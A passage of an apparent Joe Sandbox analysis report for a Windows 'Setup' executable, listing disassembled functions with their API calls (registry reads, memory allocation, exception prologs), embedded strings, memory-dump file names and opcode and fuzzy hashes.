                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: InformationToken$ErrorLastmalloc
                    • String ID:
                    • API String ID: 3066823155-0
                    • Opcode ID: 01b44a5312c758c50bafdb3b4dea5a7f55d2f3fd4553a52b84730fe91bcd2acf
                    • Instruction ID: 4ee22c9359beeda33b890e23870ebb7c465e1273a33b69ed6d33fd4fb3a616d0
                    • Opcode Fuzzy Hash: 01b44a5312c758c50bafdb3b4dea5a7f55d2f3fd4553a52b84730fe91bcd2acf
                    • Instruction Fuzzy Hash: EC01A93250260ABEEF008AE58C40FAE7BACEB05F98F301021F900A3450D730DE18AB62
                    Function 6CB8C406 Relevance: 4.5, APIs: 3, Instructions: 40registryCOMMON
                    Download Yara Rule
                    APIs
                    • RegOpenKeyExW.KERNEL32(80000002,?,00000000,00000001,?,?,?,?,?,6CBC35F5,?,SYSTEM\CurrentControlSet\Control\Windows,?,?,CSDReleaseType), ref: 6CB8C426
                    • RegQueryValueExW.KERNEL32(?,?,00000000,00000000,6CBC0F4A,00000004,?,?,?,6CBC35F5,?,SYSTEM\CurrentControlSet\Control\Windows,?,?,CSDReleaseType), ref: 6CB8C43F
                    • RegCloseKey.ADVAPI32(?,?,?,?,6CBC35F5,?,SYSTEM\CurrentControlSet\Control\Windows,?,?,CSDReleaseType,?,-00000960,00000004,6CBC0F4A,?), ref: 6CB8C44E
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: CloseOpenQueryValue
                    • String ID:
                    • API String ID: 3677997916-0
                    • Opcode ID: 32840241a133cc16aa679e0873ecf59037b31fac869aad4bbcf2911508ad4f4e
                    • Instruction ID: 705b5c695841c7c0744c997db6b246b87016cbeac51a1eba6945176d24348da5
                    • Opcode Fuzzy Hash: 32840241a133cc16aa679e0873ecf59037b31fac869aad4bbcf2911508ad4f4e
                    • Instruction Fuzzy Hash: 59F03CB2200148BFEF009FA5CC85FAE7B7DEF013A9F144215F91096290D771DE54AB21
                    Function 6CB87CE8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 99COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB87CEF
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB87EE4: __EH_prolog3.LIBCMT ref: 6CB87EEB
                      • Part of subcall function 6CB85DD0: __EH_prolog3.LIBCMT ref: 6CB85DD7
                      • Part of subcall function 6CB85485: __EH_prolog3.LIBCMT ref: 6CB8548C
                      • Part of subcall function 6CB85485: GetModuleHandleW.KERNEL32(kernel32.dll,0000002C,6CB87DAF,?,?,?,?,?,00000000,?,?,6CB7AB18,00000008,6CB87CD9), ref: 6CB8549C
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$HandleModule
                    • String ID: Unknown
                    • API String ID: 1530205010-1654365787
                    • Opcode ID: 34771de1bc95038a437f5c67954f960f3103d4ab3e681c0546f05af729abaf34
                    • Instruction ID: a1beeacb37c81724a1da61a5fd3c6cd6175f8e538a2e401362b41b554a0ca5fb
                    • Opcode Fuzzy Hash: 34771de1bc95038a437f5c67954f960f3103d4ab3e681c0546f05af729abaf34
                    • Instruction Fuzzy Hash: A6317C725107859ADB24DFB4C841BEFB3A8BF04319F105E5EA17ADBAC0DB70E9088B55
                    Function 6CB92811 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 91COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB92818
                      • Part of subcall function 6CBDC0AA: _malloc.LIBCMT ref: 6CBDC0C4
                      • Part of subcall function 6CB91EBF: __EH_prolog3.LIBCMT ref: 6CB91EC6
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$_malloc
                    • String ID: BlockIfGroup
                    • API String ID: 1683881009-1356723647
                    • Opcode ID: b28cb0abcbabce88fd5b160122ea43b5ab857db71d544ab98b73a738911a1284
                    • Instruction ID: 6522e1bf79a683b3f2b00d9518c3b4a40f580ec21582b4c661c91314ddf2ec60
                    • Opcode Fuzzy Hash: b28cb0abcbabce88fd5b160122ea43b5ab857db71d544ab98b73a738911a1284
                    • Instruction Fuzzy Hash: 07314270D0128AABDF00DFE9C988BEE7BB8AF05349F104465E514EB681DB35DA059B62
                    Function 6CBB9739 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 72COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBB9740
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID: Location
                    • API String ID: 431132790-2817059741
                    • Opcode ID: 6cc557ad8a0eee628455ae7f64f5ed305a52629219cd6d7361bcf6e7592226f4
                    • Instruction ID: b7142bf55902bec9aa89d159a702dac53735b69a79d27dae35d29ae1e35129f6
                    • Opcode Fuzzy Hash: 6cc557ad8a0eee628455ae7f64f5ed305a52629219cd6d7361bcf6e7592226f4
                    • Instruction Fuzzy Hash: 1F216071A0028A9FCB01CFA8C941BEEBBB9AF58318F144559E515EB780CB71E905CBA1
                    Function 6CBB4AD6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBB4ADD
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CBB8E4A: PathAppendW.SHLWAPI(00000000,?,?,?,?,?,6CBC99FD,00000000,00000000,?,?,?,00000000,?,UiInfo.xml), ref: 6CBB8E6E
                      • Part of subcall function 6CBD8EAB: _memcpy_s.LIBCMT ref: 6CBD8EFC
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$AppendPath_memcpy_s
                    • String ID: %TEMP%
                    • API String ID: 3727483831-235365282
                    • Opcode ID: f12ee6ab76f0d97278a11bfc476e980167194743dd794ec9c8c906520e66839d
                    • Instruction ID: bcb5851b0e9278cb9c2d483edfa9178b877ae99bf983c5962af8b3dea4b719b7
                    • Opcode Fuzzy Hash: f12ee6ab76f0d97278a11bfc476e980167194743dd794ec9c8c906520e66839d
                    • Instruction Fuzzy Hash: 2E21413290018ACBDF10DBB8CC417EEB7B4AF01329F140665E160FBBD5DB759A088B92
                    Function 6CB92677 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB9267E
                      • Part of subcall function 6CB889B7: __EH_prolog3.LIBCMT ref: 6CB889BE
                      • Part of subcall function 6CB889B7: __CxxThrowException@8.LIBCMT ref: 6CB88A89
                      • Part of subcall function 6CB92811: __EH_prolog3.LIBCMT ref: 6CB92818
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8Throw
                    • String ID: ReturnCode
                    • API String ID: 2489616738-1214168914
                    • Opcode ID: d2012f25f25f61f3a2da07fb8f86e67b9152c14c5a73ec177d701cf96111e23c
                    • Instruction ID: 1010c285a352d8eac2efda8a747944c0e0156d874c5c3c14f31612fbe639399c
                    • Opcode Fuzzy Hash: d2012f25f25f61f3a2da07fb8f86e67b9152c14c5a73ec177d701cf96111e23c
                    • Instruction Fuzzy Hash: 66214FB1901255DFCF10CF68C885A9E7BA8BF09714B14855AF824EF785C771D904CBA1
                    Function 6CBCA11D Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID: %TEMP%
                    • API String ID: 431132790-235365282
                    • Opcode ID: f3ba6226afedfabd9528e54095e429be8fd0ccaad07bcbc106d7bf71a9831b38
                    • Instruction ID: f9d846c4d49f812356ff7a8351cf0bb9869c99cbe5bcc2b7ee4717bcecaaa1ad
                    • Opcode Fuzzy Hash: f3ba6226afedfabd9528e54095e429be8fd0ccaad07bcbc106d7bf71a9831b38
                    • Instruction Fuzzy Hash: 5E216F71A4025AAFDF00DFA0CC88AEE7B74FF04359F004524F921AA690CB71DA15CBA1
                    Function 6CBA4682 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBA4689
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID: #(loc.
                    • API String ID: 431132790-1630946291
                    • Opcode ID: a9558da06a4230a0cdfd407f719f3d30633c895a4543435e095bc0d8f5cc1b8a
                    • Instruction ID: 9af5f291b047befa9e4b685c7c222fe6ced0aceaf98accc9d9752c7f97c4cfd1
                    • Opcode Fuzzy Hash: a9558da06a4230a0cdfd407f719f3d30633c895a4543435e095bc0d8f5cc1b8a
                    • Instruction Fuzzy Hash: 7411BE7590024DDFCF00DFA8C945AEDB7B4BF04368F104556F920AB784C775EA598BA1
                    Function 6CB997CE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 27COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB997D5
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID: RetryHelper
                    • API String ID: 431132790-1997034708
                    • Opcode ID: c8e1baa96ccbe2dc08f0c6d3f14df04581797847c9f40d3b878b26ee403975c2
                    • Instruction ID: d3ebb8776f93a5ad57f0468d09e3af9effa7ed2ca513feb963118bd762e6c361
                    • Opcode Fuzzy Hash: c8e1baa96ccbe2dc08f0c6d3f14df04581797847c9f40d3b878b26ee403975c2
                    • Instruction Fuzzy Hash: 91F01DB1900399DFCB50CFA4C901AAEB7A4BF08254B008819E569EBB40D731A904CB61
                    Function 6CB8388B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID: Entering Function
                    • API String ID: 431132790-2002471330
                    • Opcode ID: 6b6420a0975899245de50535b6d615559b02747aabe11cf3b2e38acbeae5f2a6
                    • Instruction ID: 742f06ee16186be7f4631c7d1dd16caaf98b737af8cc5a2771bfd4a752037efc
                    • Opcode Fuzzy Hash: 6b6420a0975899245de50535b6d615559b02747aabe11cf3b2e38acbeae5f2a6
                    • Instruction Fuzzy Hash: C9F0C275600246DFDB10DF68C944B9DBBE1EF58A14F10C809E895DBB50DB34E954DB80
                    Function 6CB838D7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    • exiting function/method, xrefs: 6CB838EF
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID: exiting function/method
                    • API String ID: 431132790-2452647166
                    • Opcode ID: 91da5e33cd7d59c88554eb2fd83a811e51ec33342fc9a3a40421e845eb3ba7e0
                    • Instruction ID: 5b4b6a637d52f95a1e1a2068248d8375f0a72f8093b2806e05b84d13122d6f19
                    • Opcode Fuzzy Hash: 91da5e33cd7d59c88554eb2fd83a811e51ec33342fc9a3a40421e845eb3ba7e0
                    • Instruction Fuzzy Hash: 3EE0E5396002419FCB00DFA8C158B5DB7A1FF48755F108458E6569FBA0CB31E804DB91
                    Function 6E0C3536 Relevance: 3.2, APIs: 2, Instructions: 213COMMON
                    Download Yara Rule
                    APIs
                    • ctype.LIBCPMT ref: 6E0D2015
                    • ctype.LIBCPMT ref: 6E0D202A
                      • Part of subcall function 6E0C17EB: malloc.MSVCRT ref: 6E0C17F6
                      • Part of subcall function 6E0C2885: InitializeCriticalSectionAndSpinCount.KERNEL32(00000004,00000FA0,?,00000000,00000000), ref: 6E0C28C4
                      • Part of subcall function 6E0C3992: EnterCriticalSection.KERNEL32(?,00000000,6E0C397F,00000000,6E0C371E,80004005), ref: 6E0C39AE
                      • Part of subcall function 6E0C2C9B: VirtualAlloc.KERNEL32(00000000,?,00002000,00000004,6E0C27B0,00000000,6E0E0088), ref: 6E0C2D01
                      • Part of subcall function 6E0C2C9B: VirtualAlloc.KERNEL32(?,00000000,00001000,00000004,000003F8,00000000,?,?,?,?,6E0C27B0,00000000,6E0E0088), ref: 6E0C2D4F
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: AllocCriticalSectionVirtualctype$CountEnterInitializeSpinmalloc
                    • String ID:
                    • API String ID: 738331480-0
                    • Opcode ID: 4be73d0c6c0b6384c4e833e62f3f77d83d694a59ca8813b673061bb071e36d07
                    • Instruction ID: 7838e212257c6e366fe782572ac5630e3db7a99caf60cbecccaad9e53be1040e
                    • Opcode Fuzzy Hash: 4be73d0c6c0b6384c4e833e62f3f77d83d694a59ca8813b673061bb071e36d07
                    • Instruction Fuzzy Hash: A571D430114342AFDB949FD5C898F9E3AE5BF05B48F50886CE914DB6A2CB75D48CCB52
                    Function 6CB925AF Relevance: 3.1, APIs: 2, Instructions: 76COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3_free
                    • String ID:
                    • API String ID: 2248394366-0
                    • Opcode ID: a853932d6c36219121347a48082e326ecddc280f123dac19cb15a023bd07a441
                    • Instruction ID: 66097f65c94a96783c94215ebbe2f0fb933b72e42115f560e1b5fbef31d2db35
                    • Opcode Fuzzy Hash: a853932d6c36219121347a48082e326ecddc280f123dac19cb15a023bd07a441
                    • Instruction Fuzzy Hash: F62193B0A007819FDB209F55C5C9D2BB7F1EF86B04B15897DE55A8BE52C732E844CB12
                    Function 6CB94613 Relevance: 3.1, APIs: 2, Instructions: 59registryCOMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 6CBD847A: RegCloseKey.ADVAPI32(?,?,?,6CB9463B,00000034,00000034,00000000), ref: 6CBD84BA
                    • RegCloseKey.ADVAPI32(?,00000034,00000034,00000034,00000034,00000000,00000000,?,00000034,RegKey,?,RegValueName,00000034,6CB942F8,6CB7A794,-00000960), ref: 6CB9468D
                    • RegCloseKey.ADVAPI32(?,00000034,00000034,00000000,00000000,?,00000034,RegKey,?,RegValueName,00000034,6CB942F8,6CB7A794,-00000960), ref: 6CB9469E
                      • Part of subcall function 6CBD83D2: RegQueryValueExW.ADVAPI32(00000000,00000034,00000000,00000034,00000034,00000000,?,?,6CB94685,?,?,6CB942F8,00000034,00000034,00000034,00000034), ref: 6CBD83F4
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: Close$QueryValue
                    • String ID:
                    • API String ID: 2393043351-0
                    • Opcode ID: f12c32c9bcaf0fe0d96e018410b5341bdc16b5b5ac45bd54efc65003fc7870f0
                    • Instruction ID: 22468b527bf9e3e1a8c3898eb5f358e7466b775c905c6dab26ae5896388b9e84
                    • Opcode Fuzzy Hash: f12c32c9bcaf0fe0d96e018410b5341bdc16b5b5ac45bd54efc65003fc7870f0
                    • Instruction Fuzzy Hash: B91104B5E00269EFCF01DF96C80489EBB7AEF49719B1540A6F824A3210D3759A15DFE1
                    Function 6CB9632C Relevance: 3.1, APIs: 2, Instructions: 58COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3_free
                    • String ID:
                    • API String ID: 2248394366-0
                    • Opcode ID: 722bff734695e4a2bbe97f182a2cce42f84ad47608eda29c787d0940cc2d2a52
                    • Instruction ID: 92244752f057e711f813f016749dc44211af12fd317a4f2c2eaf55579c813076
                    • Opcode Fuzzy Hash: 722bff734695e4a2bbe97f182a2cce42f84ad47608eda29c787d0940cc2d2a52
                    • Instruction Fuzzy Hash: B501AD316083828BC7609F6DC4805AFB7E1FF45704B61883EE26AD7E50CB70E8858B81
                    Function 6CBB31D3 Relevance: 3.1, APIs: 2, Instructions: 57COMMON
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3_catch_free
                    • String ID:
                    • API String ID: 2207867443-0
                    • Opcode ID: 4e469f7685533005557e777b50c2a21d03b136f82491babcf22d2161c69e27cc
                    • Instruction ID: 530d3288d2d5b808e167f94e7aa477a9ef1d0a6e8de76137c262de4408689a50
                    • Opcode Fuzzy Hash: 4e469f7685533005557e777b50c2a21d03b136f82491babcf22d2161c69e27cc
                    • Instruction Fuzzy Hash: 1B11813090668ADFDF00CBA4C5447ADBB60AF05758F204159E169BBA80CF719A44DBD2
                    Function 6CBB3114 Relevance: 3.1, APIs: 2, Instructions: 56COMMON
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
